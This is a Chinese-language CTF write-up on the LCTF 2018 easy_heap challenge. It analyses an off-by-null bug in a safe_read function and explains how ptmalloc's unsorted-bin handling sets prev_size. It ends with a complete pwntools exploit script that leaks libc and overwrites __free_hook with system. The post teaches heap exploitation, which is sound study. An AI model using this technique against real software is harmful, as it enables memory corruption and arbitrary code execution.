LCTF_18 easy_heap && ciscn_2019_

2019-08-02  本文已影响0人  pu1p

背景

国赛第二天碰到这个题了. off-by-null 的漏洞很明显, 直接开始写exp, 但是在构造 prev_size的时候卡住了. 没什么思路, 只好转而去看另一题. 浪费了不少时间.

一直到比赛结束也没搞出来(太菜了). 但是发现场上很多队都做出了这题. 赛后才得知这题竟然是 18年 L_CTF 的原题. 据说拿之前的exp改一下ip和端口就可以直接打...... 这个出题人也太不负责任了吧......

比赛结束之后看了一下当年的 writeup, 发现利用点还挺有意思的, 在此记录一下.

题目分析

题目保护全开, 给了个 libc, 版本是 2.27 的.

功能主要有三个, malloc, free 和 puts.

不过有如下几个限制

  1. malloc 的 chunk 的 size 只能为 0x100
  2. 读取输入的时候遇到 \x00, \n 会终止读取. 细节可以看下面贴的 safe_read函数

漏洞点就是 safe_read 函数中有 off-by-null 漏洞.

贴一下 safe_read 函数(稍微简化了一下):

unsigned __int64  safe_read(char *ptr, int size){
  unsigned int cur; // [rsp+14h] [rbp-Ch]
  cur = 0;
  if ( size ){
    while ( 1 ){
      read(0, &ptr[cur], 1uLL);
      if ( size - 1 < cur || !ptr[cur] || ptr[cur] == 10 )
        break;
      ++cur;
    }
    ptr[cur] = 0;
    ptr[size] = 0;     // off-by-null
  }
}

漏洞分析

很明显的 off-by-null 漏洞. 自然想的就是要覆盖 prev_in_use 位然后触发 unlink 从而实现 overlap chunk, 然后进行 fastbin attack(tcache 就更简单了). 我们先来模拟一下这个过程

 0x0000+------+-------+  chunk A
------>|      |       |<---------
       +------+-------+
       |              |
       |              |
       |              |
       |              |
 0x0100+------+-------+  chunk B
------>|      |       |<---------
       +------+-------+
       |              |
       |              |
       |              |
       |              |
 0x0200+------+-------+  chunk C
------>| prev |  inuse|<---------
       +------+-------+
       |              |
       |              |
       |              |
       |              |
       +--------------+
  1. malloc A, B, C 三个chunk
  2. 填满 tcache
  3. free chunk_A, chunk_A 会进入 unsorted bin
  4. 把 tcache 空一个位置, 然后将 chunk_B free 进去
  5. 把 chunk_B malloc 出来利用 off-by-null 漏洞将 chunk_C 的 prev_inuse 位置 0, 同时还得将 chunk_C 的 prev_size 位设为 0x200.

这个时候问题来了. 因为 safe_read 函数会被\x00截断. 所以我们没办法输入 \x00\x02. 这也就是这题的难点所在了.

我当时遇到这个问题的时候想到了两种绕过方式, 虽然都失败了, 但还是记录一下吧.

第一种方法是利用遗留数据.
在第一次malloc chunk_B(第1步) 的时候将 chunk_C 的prev_size 位 设为 0x2020, 然后第二次 malloc_B(第5步)的时候将低字节清零, 这样就可以得到 0x200了.

然而发现程序在 free 之前 会调用 memset(ptr, 0, size);, 绕过失败.

第二中方法就是将 prev_size 构造成 0x201, 但是发现 ptmalloc 获取 prev_size 的时候并不会自己将低位清零, 所以也失败了.



所以这题的关键点其实就是构造 prev_size 了.


看了 writeup 才明白怎么回事儿, 不得不感慨自己对 ptmalloc 的了解还是太浅显了.

ptmalloc 在将一个chunk放到 unsorted bin 中的时候会设置这个chunk的后一个chunk的 prev_size.

我们以下面这个程序为例:

int main(){
    void *ps[3];
    ps[0] = malloc(0xf8);
    ps[1] = malloc(0xf8);
    ps[2] = malloc(0xf8);
    malloc(0xf8);

    free(ps[0]);
    free(ps[1]);
    free(ps[2]);
    return 0;
}

当上面这个程序执行到 return 0; 这一行的时候, 堆布局大概如下:

 0x0000+------+-------+
------>|      |       |
       +------+-------+
       |              |
       |              |
       |              |
       |              |
 0x0100+------+-------+
------>|0x100 |       |
       +------+-------+
       |              |
       |              |
       |              |
       |              |
 0x0200+------+-------+
------>|0x200 |  inuse|
       +------+-------+
       |              |
       |              |
       |              |
       |              |
       +--------------+
       |0x300         |

ptmalloc 会帮我们构造好 prev_size :P

之后就是常规的 off-by-null 思路. 不再赘述

exp

这个 exp 只是实现了将 __free_hook 替换为 system, 但是因为 程序在free 之前会将chunk中的内容清零, 所以也没办法执行 system("/bin/sh"), 可以改成用 one_gadget, 感兴趣的就自己试一下吧.

#coding:utf-8
from pwn import *
import time
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "source_27"

elf = ELF("./"+filename)

io = process("./"+filename)
libc = elf.libc


def lg(name, val):
    log.info(name+" : "+hex(val))


def choice(p, idx):
    sla(p, "command?\n", str(idx))

def add(p, size, content):
    choice(p, 1)
    sla(p, 'size', str(size))
    sa(p, "content", content)

def delete(p, idx):
    choice(p, 2)
    sla(p, "index", str(idx))

def show(p, idx):
    choice(p, 3)
    sla(p, "index", str(idx))


# fill fast bin for const-size
add(io, 0xf0, "aaa\n") # 0
add(io, 0xf8, 'a'*0xf0 + '\02\x02'+'\n') # 1
add(io, 0xf0, "ccc\n") # 2
# add(io, 0x68, "ddd\n") # 3


# fill tcache
for i in range(7):
    add(io, 0xf0, "ccc\n") # 3-9
for i in range(3, 10):
    delete(io, i) # 3-9

# init prev_size
delete(io, 0)
delete(io, 1)
delete(io, 2)

# empty tcache
for i in range(0, 7):
    add(io, 0xf0, 'ddd\n') # 0 - 6


add(io, 7, '7\n')
add(io, 8, '8\n')
add(io, 9, '9\n') # prev_size of this chunk is 0x200

for i in range(0, 6):
    delete(io, i)  

# in tcache
delete(io, 8)

# 7 in unsorted bin
delete(io, 7)

# off-by-null
add(io, 0xf8, '0\n')

# and then fill tcache again
delete(io, 6)


# unlink and put 0x300 chunk into unsorted bin
delete(io, 9)

# only have 0 now

# empty tcache
for i in range(1, 8):
    add(io, 0xf0, '/bin/sh\x00')


# split 0x300 chunk in unsorted bin
add(io, 8, '8\n')

# leak libc
show(io, 0)
ru(io, ' \n> ')
libc_addr = u64(rv(io, 6) + '\x00\x00')
lg("libc_addr", libc_addr)

libc.address = libc_addr -3865760
lg("libc_base", libc.address)

# free_hook
add(io, 9, '9\n')

delete(io, 1)
delete(io, 0)
delete(io, 9)

fh = p64(libc.symbols['__free_hook'])
add(io, 0xf0, fh[:fh.find('\x00')+1])

system = p64(libc.symbols['system'])
add(io, 0xf0, system[:system.find('\x00')+1])
add(io, 0xf0, system[:system.find('\x00')+1])

delete(io, 3)

# io.interactive()

总结

这题的利用点还是很有意思的, 出题人对 ptmalloc 真的是很了解了. 给出题人点个赞.

不过题目再好也别直接啥都不改直接拿来做自己的题目啊. 也不知道哪个队干的, 我是觉得有点过分.

这次比赛主要看了4题, 全都是libc 2.27. 估计现在 ubuntu 18.04 的使用率要比 16.04 还要高了吧.

参考: https://bbs.pediy.com/thread-247862.htm

上一篇下一篇

猜你喜欢

热点阅读